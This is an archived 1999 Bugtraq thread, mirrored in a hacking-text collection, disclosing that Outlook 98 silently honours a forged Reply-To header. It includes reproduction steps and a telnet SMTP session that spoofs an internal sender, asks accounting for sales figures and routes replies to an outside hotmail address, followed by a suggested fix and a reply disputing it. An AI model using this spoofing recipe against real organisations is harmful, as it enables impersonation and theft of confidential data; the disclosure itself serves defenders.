home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / ms.outlook.spoof.txt < prev    next >
Encoding:
Internet Message Format  |  1999-04-28  |  3.7 KB
  1. Date: Tue, 20 Apr 1999 15:10:05 -0700
  2. From: Nate Lawson <nate@root.org>
  3. To: BUGTRAQ@netspace.org
  4. Subject: Outlook 98 allows spoofing internal users
  5.  
  6. Problem: Outlook uses a sender's Reply-To address silently, allowing
  7.          a user to inadvertently send data to an Internet mail account
  8.          when intending to reply to an internal, trusted user.
  9.  
  10. Impact: Anyone on the Internet can spoof a trusted internal Exchange user
  11.         and get replies sent back to themself without the user knowing they
  12.         weren't responding to another internal user.
  13.  
  14. How to reproduce:
  15.  
  16. 1.  Spoof mail as an internal user with a Reply-To address claiming to be
  17.     an internal user, but an address of an Internet account, say hotmail.
  18. 2.  Go into Outlook and read the mail.  The mail looks like it was internally
  19.     generated but viewing the full Internet headers under View->Options
  20.     shows the bogus Reply-To header.
  21. 3.  Hit Reply in Outlook.  The To: field looks like it's going to a valid
  22.     internal user, but right clicking on it and choosing Properties shows
  23.     that the internal user it is sending the reply to is actually an Internet
  24.     address.
  25. 4.  Enter some text and hit Send.  Observe that the mail went to the attacker's
  26.     account, not the internal one.
  27.  
  28. A quick script:
  29.  
  30. {root 5:00pm} ~> telnet mail.example.com 25
  31. Trying 10.20.2.5...
  32. Connected to mail.example.com.
  33. Escape character is '^]'.
  34. 220 mail.example.com ESMTP Server (Microsoft Exchange Internet Mail Service 5.5.2448.0) ready
  35. helo losebag
  36. 250 OK
  37. mail from:<>
  38. 250 OK - mail from <>
  39. rcpt to:<accounting@example.com>
  40. 250 OK - Recipient <accounting@example.com>
  41. data
  42. 354 Send data.  End with CRLF.CRLF
  43. >From: Nate Lawson
  44. To: Accounting
  45. Reply To: Nate Lawson<intruder@hotmail.com>
  46. Subject: important!
  47.  
  48. Please reply with the latest copy of our sales figures!
  49.  
  50. Thanks,
  51. Nate
  52. .
  53. 250 OK
  54. quit
  55. 221 closing connection
  56. Connection closed by foreign host.
  57.  
  58. Now, a reply to the email will go not to the trusted internal user Nate
  59. Lawson <nlawson@example.com> but to the attacker, <intruder@hotmail.com>.
  60. Worse, the user sees no indication that the mail is outward-bound!  The
  61. To: field on the reply simply shows "Nate Lawson", a valid internal user.
  62.  
  63. Affected programs:  Only tested on Outlook 98
  64.  
  65. Known use of this bug to get confidential information:  none yet
  66.  
  67. Suggested Fix: always show the full email address of any recipient that is
  68. not local (i.e. username@example.com would be hidden but any instance of
  69. user@hotmail.com would be shown)
  70.  
  71. Microsoft has been notified, but claimed this was a weakness in SMTP and
  72. would not be fixed until a secure successor to SMTP is implemented. They
  73. obviouly missed the point -- the error is not in that mail can be forged,
  74. but that Outlook allows a user to respond to a message that looks local
  75. and legitimate, but is actually destined for an outside address.
  76.  
  77. -Nate
  78.  
  79. -----------------------------------------------------------------------
  80.  
  81. Date: Sun, 25 Apr 1999 18:36:11 +0200
  82. From: Peter van Dijk <peter@ATTIC.VUURWERK.NL>
  83. To: BUGTRAQ@netspace.org
  84. Subject: Re: Outlook 98 allows spoofing internal users
  85.  
  86. On Tue, Apr 20, 1999 at 03:10:05PM -0700, Nate Lawson wrote:
  87. >
  88. > Suggested Fix: always show the full email address of any recipient that is
  89. > not local (i.e. username@example.com would be hidden but any instance of
  90. > user@hotmail.com would be shown)
  91.  
  92. Yeah, like: I am user@aol.com and I'd like outlook to hide evilhacker@aol.com.
  93.  
  94. Outlook should not be hiding anything..
  95.  
  96. Greetz, Peter
  97. --
  98. | 'He broke my heart,    |                              Peter van Dijk |
  99.      I broke his neck'   |                     peter@attic.vuurwerk.nl |
  100.    nognixz - As the sun  |        Hardbeat@ircnet - #cistron/#linux.nl |
  101.                          | Hardbeat@undernet - #groningen/#kinkfm/#vdh |
  102.  
  103.  
  104.